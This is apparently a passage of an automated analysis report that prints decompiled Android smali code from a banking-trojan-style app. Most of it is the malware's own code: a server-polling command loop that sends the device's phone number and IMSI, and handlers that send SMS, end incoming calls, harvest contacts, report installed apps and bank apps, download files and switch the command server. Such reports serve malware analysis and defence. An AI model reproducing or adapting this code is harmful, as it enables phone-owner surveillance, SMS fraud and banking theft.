122invoke-direct {v9, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
124const-string v8, "#"
126invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
127move-result-object v8
129sget-object v9, Lcom/example/adt/Config;->bankName:[Ljava/lang/String;
130aget-object v9, v9, v1
132invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
133move-result-object v8
135invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
136move-result-object v8
137sput-object v8, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
138cond_b4:
139iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
141iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
143invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
144move-result v8
145if-eqz v8, :cond_dd
147sget-object v8, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
148new-instance v9, Ljava/lang/StringBuilder;
150invoke-static {v8}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
151move-result-object v8
153invoke-direct {v9, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
155const-string v8, "#"
157invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
158move-result-object v8
160sget-object v9, Lcom/example/adt/Config;->bankName:[Ljava/lang/String;
161aget-object v9, v9, v1
163invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
164move-result-object v8
166invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
167move-result-object v8
168sput-object v8, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
169cond_dd: add-int/lit8 v1, v1, 0x1
170goto/16 :goto_7e
Strings
  • #
  • |
Position Instruction Meta Information
0.parameter "packageName"
1.prologue
3const-string v0, ""
4const/4 v1, 0x0
6sget-object v5, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
8invoke-virtual {v5}, Lcom/example/adt/CoreService;->getPackageManager()Landroid/content/pm/PackageManager;
9move-result-object v4
10const/4 v5, 0x0
12invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
  • Data flow analysis:
    • flags: 0
13move-result-object v2
15invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
16move-result-object v5
17cond_12:
18invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
19move-result v6
20if-nez v6, :cond_19
21return v1
22cond_19:
23invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
24move-result-object v3
25check-cast v3, Landroid/content/pm/PackageInfo;
27iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
28iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I
29and-int/lit8 v6, v6, 0x1
30if-nez v6, :cond_12
32iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
33iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I
34and-int/lit16 v6, v6, 0x80
35if-nez v6, :cond_12
36new-instance v6, Ljava/lang/StringBuilder;
38invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
39move-result-object v7
41invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
43iget-object v7, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
45invoke-virtual {v7, v4}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
46move-result-object v7
48invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
49move-result-object v6
51const-string v7, "#"
53invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
54move-result-object v6
56iget-object v7, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
58iget-object v7, v7, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
60invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v6
63const-string v7, "|"
65invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: |
66move-result-object v6
68invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
69move-result-object v0
71iget-object v6, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
73iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
75invoke-virtual {p0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
76move-result v6
77if-eqz v6, :cond_12
78const/4 v1, 0x1
79goto/16 :goto_12
Strings
  • phone
  • getITelephony
Position Instruction Meta Information
0.prologue
2sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
4const-string v5, "phone"
6invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: phone
7move-result-object v3
8check-cast v3, Landroid/telephony/TelephonyManager;
9const-class v0, Landroid/telephony/TelephonyManager;
10const/4 v2, 0x0
11try_start_d:
12const-string v4, "getITelephony"
13const/4 v5, 0x0
15invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Data flow analysis:
    • p0: getITelephony
    • p1: 0
16move-result-object v2
17const/4 v4, 0x1
19invoke-virtual {v2, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
  • Data flow analysis:
    • p0: 1
20const/4 v4, 0x0
22invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p1: 0
23move-result-object v1
24check-cast v1, Lcom/android/internal/telephony/ITelephony;
26invoke-interface {v1}, Lcom/android/internal/telephony/ITelephony;->endCall()Z
27goto_22: return-void
28catch_23: move-exception v4
29goto/16 :goto_22
Strings
  • /
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3const/16 v0, 0x1000
4iput v0, p0, Lcom/example/adt/FileUtils;->FILESIZE:I
5new-instance v0, Ljava/lang/StringBuilder;
7invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
9invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
10move-result-object v1
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, "/"
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
18move-result-object v0
20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v0
22iput-object v0, p0, Lcom/example/adt/FileUtils;->SDPATH:Ljava/lang/String;
23return-void
Strings
  • /conf.ini
Position Instruction Meta Information
0.prologue
2invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
3move-result-object v0
4new-instance v1, Ljava/lang/StringBuilder;
6invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
7move-result-object v2
9invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
10move-result-object v2
12invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
14const-string v2, "/conf.ini"
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /conf.ini
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
21return-object v1
Strings
  • connectivity
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3const-string v2, "connectivity"
5invoke-virtual {p0, v2}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: connectivity
6move-result-object v0
7check-cast v0, Landroid/net/ConnectivityManager;
9invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
11invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
12move-result-object v2
13if-eqz v2, :cond_1a
15invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
16move-result-object v2
18invoke-virtual {v2}, Landroid/net/NetworkInfo;->isAvailable()Z
19move-result v1
20cond_1a: return v1
Strings
  • connectivity
Position Instruction Meta Information
0.parameter "context"
1.prologue
2if-eqz p0, :cond_15
4const-string v2, "connectivity"
6invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: connectivity
7move-result-object v0
8check-cast v0, Landroid/net/ConnectivityManager;
10invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
11move-result-object v1
12if-eqz v1, :cond_15
14invoke-virtual {v1}, Landroid/net/NetworkInfo;->isAvailable()Z
15move-result v2
16goto_14: return v2
17cond_15: const/4 v2, 0x0
18goto/16 :goto_14
Strings
  • mounted
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
4move-result-object v2
6const-string v3, "mounted"
8invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: mounted
9move-result v0
10if-eqz v0, :cond_11
12invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
13move-result-object v1
14cond_11:
15invoke-virtual {v1}, Ljava/io/File;->toString()Ljava/lang/String;
16move-result-object v2
17return-object v2
Position Instruction Meta Information
0.parameter "urlStr"
1.prologue
2new-instance v4, Ljava/lang/StringBuffer;
4invoke-direct {v4}, Ljava/lang/StringBuffer;-><init>()V
5const/4 v3, 0x0
6const/4 v0, 0x0
7try_start_7: new-instance v6, Ljava/net/URL;
9invoke-direct {v6, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
10iput-object v6, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL;
12iget-object v6, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL;
14invoke-virtual {v6}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
15move-result-object v5
16check-cast v5, Ljava/net/HttpURLConnection;
17new-instance v1, Ljava/io/BufferedReader;
18new-instance v6, Ljava/io/InputStreamReader;
20invoke-virtual {v5}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
21move-result-object v7
23invoke-direct {v6, v7}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
25invoke-direct {v1, v6}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
26goto_24:
27invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
28try_end_27: move-result-object v3
29if-nez v3, :cond_33
30try_start_2a:
31invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
32try_end_2d: move-object v0, v1
33goto_2e:
34invoke-virtual {v4}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
35move-result-object v6
36return-object v6
37cond_33:
38invoke-virtual {v4, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
39try_end_36: goto/16 :goto_24
40catch_37: move-exception v2
41move-object v0, v1
42goto_39:
43invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
44try_end_3c:
45invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
46try_end_3f: goto/16 :goto_2e
47catch_40: move-exception v2
49invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
50goto/16 :goto_2e
51catchall_45: move-exception v6
52goto_46:
53invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
54try_end_49: throw v6
55catch_4a: move-exception v2
57invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
58goto/16 :goto_49
59catch_4f: move-exception v2
61invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
62move-object v0, v1
63goto/16 :goto_2e
64catchall_55: move-exception v6
65move-object v0, v1
66goto/16 :goto_46
67catch_58: move-exception v2
68goto/16 :goto_39
Position Instruction Meta Information
0.parameter "urlPsth"
1.parameter "outputFile"
2.prologue
3const/4 v6, 0x0
4try_start_1: new-instance v7, Ljava/net/URL;
6invoke-direct {v7, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
8invoke-virtual {v7}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
9move-result-object v1
10check-cast v1, Ljava/net/HttpURLConnection;
11const/4 v8, 0x1
13invoke-virtual {v1, v8}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
  • Data flow analysis:
    • p0: 1
15invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
17invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I
18move-result v8
19const/16 v9, 0xc8
20if-ne v8, v9, :cond_41
22invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
23move-result-object v5
24new-instance v3, Ljava/io/FileOutputStream;
26invoke-direct {v3, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
27const/16 v8, 0x400
28new-array v0, v8, [B
29const/4 v4, 0x0
30goto_29:
31invoke-virtual {v5, v0}, Ljava/io/InputStream;->read([B)I
32move-result v4
33if-gtz v4, :cond_39
35invoke-virtual {v3}, Ljava/io/FileOutputStream;->flush()V
37invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V
39invoke-virtual {v5}, Ljava/io/InputStream;->close()V
40goto_38: return v6
41cond_39: const/4 v8, 0x0
43invoke-virtual {v3, v0, v8, v4}, Ljava/io/FileOutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
44try_end_3d: goto/16 :goto_29
45catch_3e: move-exception v2
46const/4 v6, 0x1
47goto/16 :goto_38
48cond_41: const/4 v6, 0x1
49goto/16 :goto_38
50catch_43: move-exception v2
51const/4 v6, 0x1
52goto/16 :goto_38
Position Instruction Meta Information
0.parameter "m"
1.prologue
2const/4 v9, 0x0
3iput-object p1, p0, Lcom/example/adt/SMS;->mobile:Ljava/lang/String;
5invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
6move-result-object v0
8iget-object v1, p0, Lcom/example/adt/SMS;->content:Ljava/lang/String;
10invoke-virtual {v1}, Ljava/lang/String;->length()I
11move-result v1
12const/16 v2, 0x46
13if-ge v1, v2, :cond_41
14new-instance v7, Landroid/content/Intent;
16sget-object v1, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String;
18invoke-direct {v7, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
19new-instance v6, Landroid/content/Intent;
21sget-object v1, Lcom/example/adt/SMS;->SMS_DELIVERED_ACTION:Ljava/lang/String;
23invoke-direct {v6, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
25sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
27invoke-static {v1, v9, v7, v9}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
28move-result-object v4
30sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
32iget-object v2, p0, Lcom/example/adt/SMS;->sendMessage:Landroid/content/BroadcastReceiver;
33new-instance v3, Landroid/content/IntentFilter;
35sget-object v8, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String;
37invoke-direct {v3, v8}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
39invoke-virtual {v1, v2, v3}, Lcom/example/adt/CoreService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
41sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
43invoke-static {v1, v9, v6, v9}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
44move-result-object v5
46iget-object v1, p0, Lcom/example/adt/SMS;->mobile:Ljava/lang/String;
47const/4 v2, 0x0
49iget-object v3, p0, Lcom/example/adt/SMS;->content:Ljava/lang/String;
51invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
  • Data flow analysis:
    • p1: 0
52cond_41: return-void
Position Instruction Meta Information
0.parameter "urlStr"
1.prologue
2const/4 v3, 0x0
3const/4 v2, 0x0
4try_start_2: new-instance v4, Ljava/net/URL;
6invoke-direct {v4, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
7iput-object v4, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL;
9iget-object v4, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL;
11invoke-virtual {v4}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
12move-result-object v4
13move-object v0, v4
14check-cast v0, Ljava/net/HttpURLConnection;
15move-object v3, v0
17invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
18try_end_16: move-result-object v2
19goto_17: return-object v2
20catch_18: move-exception v1
22invoke-virtual {v1}, Ljava/net/MalformedURLException;->printStackTrace()V
23goto/16 :goto_17
24catch_1d: move-exception v1
26invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
27goto/16 :goto_17
Strings
  • serverip
  • Commend&number=
  • &imsi=
  • &t=
  • error
  • commend
  • \u73b0\u5728\u6b63\u5728\u6267\u884c\u7684\u547d\u4ee4 =>
  • sendsms
  • content
  • sid
  • sendnumber
  • issms
  • val
  • iscall
  • contact
  • \u6b63\u5728\u5904\u7406\u83b7\u53d6\u901a\u4fe1\u5f55.... =>
  • apps
  • \u6b63\u5728\u5904\u7406apps...
  • changeapp
  • \u6b63\u5728\u5904\u7406\u63d0\u793a\u66f4\u65b0app\u547d\u4ee4...
  • info
  • move
  • http://
  • \u6211\u7684\u5230\u4e86\u65b0\u7684\u670d\u52a1\u5668IP =>
Position Instruction Meta Information
0.prologue
1new-instance v10, Ljava/lang/StringBuilder;
3invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
4move-result-object v11
6invoke-virtual {v11}, Ljava/util/Calendar;->getTimeInMillis()J
7move-result-wide v11
9invoke-static {v11, v12}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
10move-result-object v11
12invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
14invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
15move-result-object v9
17iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
18new-instance v11, Ljava/lang/StringBuilder;
20iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
22const-string v13, "serverip"
24sget-object v14, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
26invoke-static {v12, v13, v14}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
27move-result-object v12
29invoke-static {v12}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
30move-result-object v12
32invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
34sget-object v12, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
36invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
37move-result-object v11
39const-string v12, "Commend&number="
41invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Commend&number=
42move-result-object v11
44iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
46iget-object v12, v12, Lcom/example/adt/CoreService;->number:Ljava/lang/String;
48invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
49move-result-object v11
51const-string v12, "&imsi="
53invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &imsi=
54move-result-object v11
56iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
58iget-object v12, v12, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String;
60invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v11
63const-string v12, "&t="
65invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &t=
66move-result-object v11
68invoke-virtual {v11, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
69move-result-object v11
71invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
72move-result-object v11
73iput-object v11, v10, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String;
75iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
77iget-object v10, v10, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect;
79iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
81iget-object v11, v11, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String;
83invoke-virtual {v10, v11}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
84move-result-object v5
86invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String;
87move-result-object v10
89const-string v11, "error"
91invoke-virtual {v10, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: error
92move-result v10
93if-nez v10, :cond_195
94try_start_74: new-instance v8, Lorg/json/JSONObject;
96invoke-direct {v8, v5}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
97new-instance v0, Lorg/json/JSONObject;
99invoke-direct {v0, v5}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
101const-string v10, "commend"
103invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: commend
104move-result-object v1
106sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream;
107new-instance v11, Ljava/lang/StringBuilder;
109const-string v12, "\u73b0\u5728\u6b63\u5728\u6267\u884c\u7684\u547d\u4ee4 => "
111invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u73b0\u5728\u6b63\u5728\u6267\u884c\u7684\u547d\u4ee4 =>
113invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
114move-result-object v11
116invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
117move-result-object v11
119invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
121const-string v10, "sendsms"
123invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: sendsms
124move-result v10
125if-eqz v10, :cond_ba
126new-instance v7, Lcom/example/adt/SMS;
128const-string v10, "content"
130invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: content
131move-result-object v10
133const-string v11, "sid"
135invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: sid
136move-result-object v11
138invoke-direct {v7, v10, v11}, Lcom/example/adt/SMS;-><init>(Ljava/lang/String;Ljava/lang/String;)V
140const-string v10, "sendnumber"
142invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: sendnumber
143move-result-object v10
145invoke-virtual {v7, v10}, Lcom/example/adt/SMS;->send(Ljava/lang/String;)V
146cond_ba:
147const-string v10, "issms"
149invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: issms
150move-result v10
151if-eqz v10, :cond_d3
153const-string v10, "val"
155invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: val
156move-result-object v10
158invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
159move-result v4
161iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
163const-string v11, "issms"
165invoke-static {v10, v11, v4}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V
166cond_d3:
167const-string v10, "iscall"
169invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: iscall
170move-result v10
171if-eqz v10, :cond_f5
173const-string v10, "val"
175invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: val
176move-result-object v10
178invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
179move-result v3
181iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
183const-string v11, "iscall"
185invoke-static {v10, v11, v3}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V
187const-string v10, "val"
189invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: val
190move-result-object v10
192invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
193cond_f5:
194const-string v10, "contact"
196invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: contact
197move-result v10
198if-eqz v10, :cond_11d
200sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream;
201new-instance v11, Ljava/lang/StringBuilder;
203const-string v12, "\u6b63\u5728\u5904\u7406\u83b7\u53d6\u901a\u4fe1\u5f55.... => "
205invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6b63\u5728\u5904\u7406\u83b7\u53d6\u901a\u4fe1\u5f55.... =>
207sget-object v12, Lcom/example/adt/Config;->URL:Ljava/lang/String;
209invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
210move-result-object v11
212invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
213move-result-object v11
215invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
216new-instance v10, Lcom/example/adt/Contact;
218iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
220invoke-direct {v10, v11}, Lcom/example/adt/Contact;-><init>(Lcom/example/adt/CoreService;)V
222invoke-virtual {v10}, Lcom/example/adt/Contact;->getPhoneContacts()V
223cond_11d:
224const-string v10, "apps"
226invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: apps
227move-result v10
228if-eqz v10, :cond_136
230sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream;
232const-string v11, "\u6b63\u5728\u5904\u7406apps..."
234invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6b63\u5728\u5904\u7406apps...
235new-instance v10, Lcom/example/adt/App;
237iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
239invoke-direct {v10, v11}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V
241invoke-virtual {v10}, Lcom/example/adt/App;->sendApps()V
242cond_136:
243const-string v10, "changeapp"
